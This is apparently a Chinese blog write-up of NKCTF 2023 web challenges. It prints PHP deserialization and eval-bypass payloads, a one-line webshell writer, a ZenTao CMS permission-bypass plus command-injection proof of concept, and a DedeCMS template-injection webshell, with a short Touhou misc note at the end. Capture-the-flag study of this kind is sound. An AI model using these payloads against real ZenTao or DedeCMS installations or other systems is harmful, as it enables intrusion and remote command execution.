前言
久违的三人组队比赛(虽然我一个人就拿下了队伍一半的分数就是了),这次的web题意外的只有php架构和模板注入的类型,但是博主做出来的几道题已经算是穷尽目前所学了。顺带一提出题人里头混进了车万人,星莲船lunatic难度很好玩,下次建议上绀珠传(
感觉得多修几个方向了,不然队伍里pwn和re没人做还是太难受了
参考:
https://www.cnblogs.com/V3g3t4ble/p/17255389.html
https://xp0int.top/posts/2023/03/27/NKCTF-2023-Writeup-By-Xp0int_m1n1/
web后四题的题目环境:https://github.com/seizer-zyx/NKCTF_Web
WEB
baby_php
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg = 'oww!man!!';
public function __construct(){
$this->name = 'ItS SO CREAZY';
}
public function __destruct(){
if($this->name == 'welcome_to_NKCTF'){
echo $this->arg; //此处可调用__toString
}
}
}
function waf($string){
if(preg_match('/f|l|a|g|\*|\?/i', $string)){
die("you are bad");
}
}
class Happy{
public $shell;
public $cmd;
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
waf($cmd);
eval($shell($cmd));
}
}
class Hell0{
public $func;
public function __toString(){
$function = $this->func;
$function(); //此处可调用__invoke
}
}
if(isset($_GET['p'])){
unserialize($_GET['p']);
}else{
highlight_file(__FILE__);
}
?>
链子:Welcome::__destruct->Hell0::__toString->Happy::__invoke
那么问题就来到怎么绕waf上
ls
可以用dir /
代替
<?php
error_reporting(0);
class Welcome{
public $name;
public $arg;
}
class Happy{
public $shell;
public $cmd;
}
class Hell0{
public $func;
}
$t=new Welcome();
$t->name="welcome_to_NKCTF";
$t->arg=new Hell0();
$t->arg->func=new Happy();
$t->arg->func->shell="system";
$t->arg->func->cmd="dir /";
echo serialize($t);
得到flag在/f1ag
cat f1ag
的话,由于waf匹配的是单个字符,所以这里考虑使用编码绕过
$t->arg->func->shell="strtolower";
$t->arg->func->cmd="show_source(chr(47).chr(102).chr(49).chr(97).chr(103));";
博主这里麻烦了点,使用了url编码加范围通配绕过的
easy_php
php特性
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_GET['a'] != $_GET['b'] && md5($_GET['a']) == md5($_GET['b'])){// md5弱类型比较
if((string)$_POST['c'] != (string)$_POST['d'] && sha1($_POST['c']) === sha1($_POST['d'])){ // sha1强等于
if($_GET['e'] != 114514 && intval($_GET['e']) == 114514){ // intval()函数特性
if(isset($_GET['NS_CTF.go'])){ //非法传参 [解析为_使后面的.不转换为_
if(isset($_POST['cmd'])){
if(!preg_match('/[0-9a-zA-Z]/i', $_POST['cmd'])){ //取反或异或
eval($_POST['cmd']);
}else{
die('error!!!!!!');
}
}else{
die('error!!!!!');
}
}else{
die('error!!!!');
}
}else{
die('error!!!');
}
}else{
die('error!!');
}
}else{
die('error!');
}
?>
这题每一层都是一个php特性
先上博主自己的payload(python看个乐,真要请求还得用burpsuite)
import requests
url = 'http://5423a887-8809-4f14-99d5-046b3dea20a7.node2.yuzhian.com.cn/?a=QNKCDZO&b=s878926199a&e=114514.1&NS[CTF.go=1'
payload1 = {'username': 'xxxxxx', 'password': 'xxxxxx'}
payload2 = {
'c':
'%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1',
'd':
'%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1',
'cmd':
"(~%8F%9E%8C%8C%8B%97%8D%8A)(~%D7%D8%93%8C%D8%D6);"
}
cookie = {
'user':
'O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D'
}
header = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0',
}
x = requests.post(url=url, data=payload2, headers=header)
if (x.status_code == 200): {print(x.text)}
else: {print(x.status_code)}
hard_php (复现)
极限RCE,与ctfshow上的极限RCE有关
<?php
// not only ++
error_reporting(0);
highlight_file(__FILE__);
if (isset($_POST['NKCTF'])) {
$NK = $_POST['NKCTF'];
if (is_string($NK)) {
if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$NK) && strlen($NK) < 105){
eval($NK);
}else{
echo("hacker!!!");
}
}else{
phpinfo();
}
}
?>
这里先执行phpinfo()
可以发现disable_function禁用了大量命令执行函数,博主这里没想到怎么绕
这是大佬的做法,通过写入一句话木马来执行shell
NKCTF=$_=(_/_._)[___];$__=++$_;$_____=++$_.$__;++$_/++$_;$_=_.$_____.=++$_.++$_;$$_[_]($$_[__],$$_[___]);&_=file_put_contents&__=1.php&___=<?php eval($_GET[1]);
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}`//扫描根目录
include('/flag');
这种姿势学到了(
easy_pms(复现)
禅道cms
网上找个poc就可以打
注意因为漏洞点是把回显结果作为参数执行命令,只能带出一行回显,那么需要用base64编码base64 -w 0
读取
'''
权限绕过+RCE POC 伪静态传参版
禅道系统 影响版本 安全版本
开源版 17.4以下的未知版本<=version<=18.0.beta1 18.0.beta2
旗舰版 3.4以下的未知版本<=version<=4.0.beta1 4.0.beta2
企业版 7.4以下的未知版本<=version<=8.0.beta1 8.0.beta2
'''
import requests
proxies = {
#"http": "127.0.0.1:8080",
#"https": "127.0.0.1:8080",
}
def check(url):
# url="http://10.211.55.3:8008"
url1 = url+'/misc-captcha-user.html'
# url1 = url+'/index.php?m=misc&f=captcha&sessionVar=user'#非伪静态版本按照此格式传参
# url2 = url+'/index.php?m=block&f=printBlock&id=1&module=my'#可判断验证绕过的链接
url3 = url + 'repo-create.html'
url4 = url + 'repo-edit-10000-10000.html'
headers={
"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language":"zh-CN,zh;q=0.9",
"Cookie":"zentaosid=0w0; lang=zh-cn; device=desktop; theme=default",
}
headers2 = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36",
"Accept-Language": "zh-CN,zh;q=0.9",
"Cookie": "zentaosid=0w0; lang=zh-cn; device=desktop; theme=default",
"Content-Type":"application/x-www-form-urlencoded",
"X-Requested-With":"XMLHttpRequest",
"Referer":url+"/repo-edit-1-0.html"
}
data1 = 'product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid='
#data2 = 'SCM=Git&path=/etc&client=`ls /|base64 -w 0`'
data2 = 'SCM=Git&path=/etc&client=`cat /flag|base64 -w 0`'
s=requests.session()
try:
req1 = s.get(url1,proxies=proxies,timeout=5,verify=False,headers=headers)
req3 = s.post(url3,data=data1,proxies=proxies,timeout=5,verify=False,headers=headers2)
req4 = s.post(url4,data=data2,proxies=proxies,timeout=5,verify=False,headers=headers2)
# if 'uid=' in req4.text:
# print(url,"")
print(req4.text)
return True
except Exception as e:
print(e)
return False
if __name__ == '__main__':
print(check("http://localhost:88/"))
解码得到flag
easy_cms(待复现)
/dede admin admin登录
模板管理 index.html加{dede:field name='source' runphp='yes'}base64_decode("ZmlsZV9wdXRfY29udGVudHM=")(base64_decode("MS5waHA="),base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTs="));{/dede:field}
生成一句话木马1.php
get参数1执行命令
Webpagetest(复现)
xiaopi(待复现)
phpstudy xss + csrf组合拳rce + 登录入口绕过
https://www.cnblogs.com/V3g3t4ble/p/17092158.html
MISC
THMaster
game
打星莲船lunatic难度上2亿分
作为一个老车万直接掏出修改器打爆莲妈(x
记得开着getflag的程序
然后会发现多一个名为flag
的replay
在游戏目录里找到并用记事本打开可以看到flag(真会藏啊
2023.10.4注:发现题目灵感:https://www.bilibili.com/video/BV1Jx411U7h2/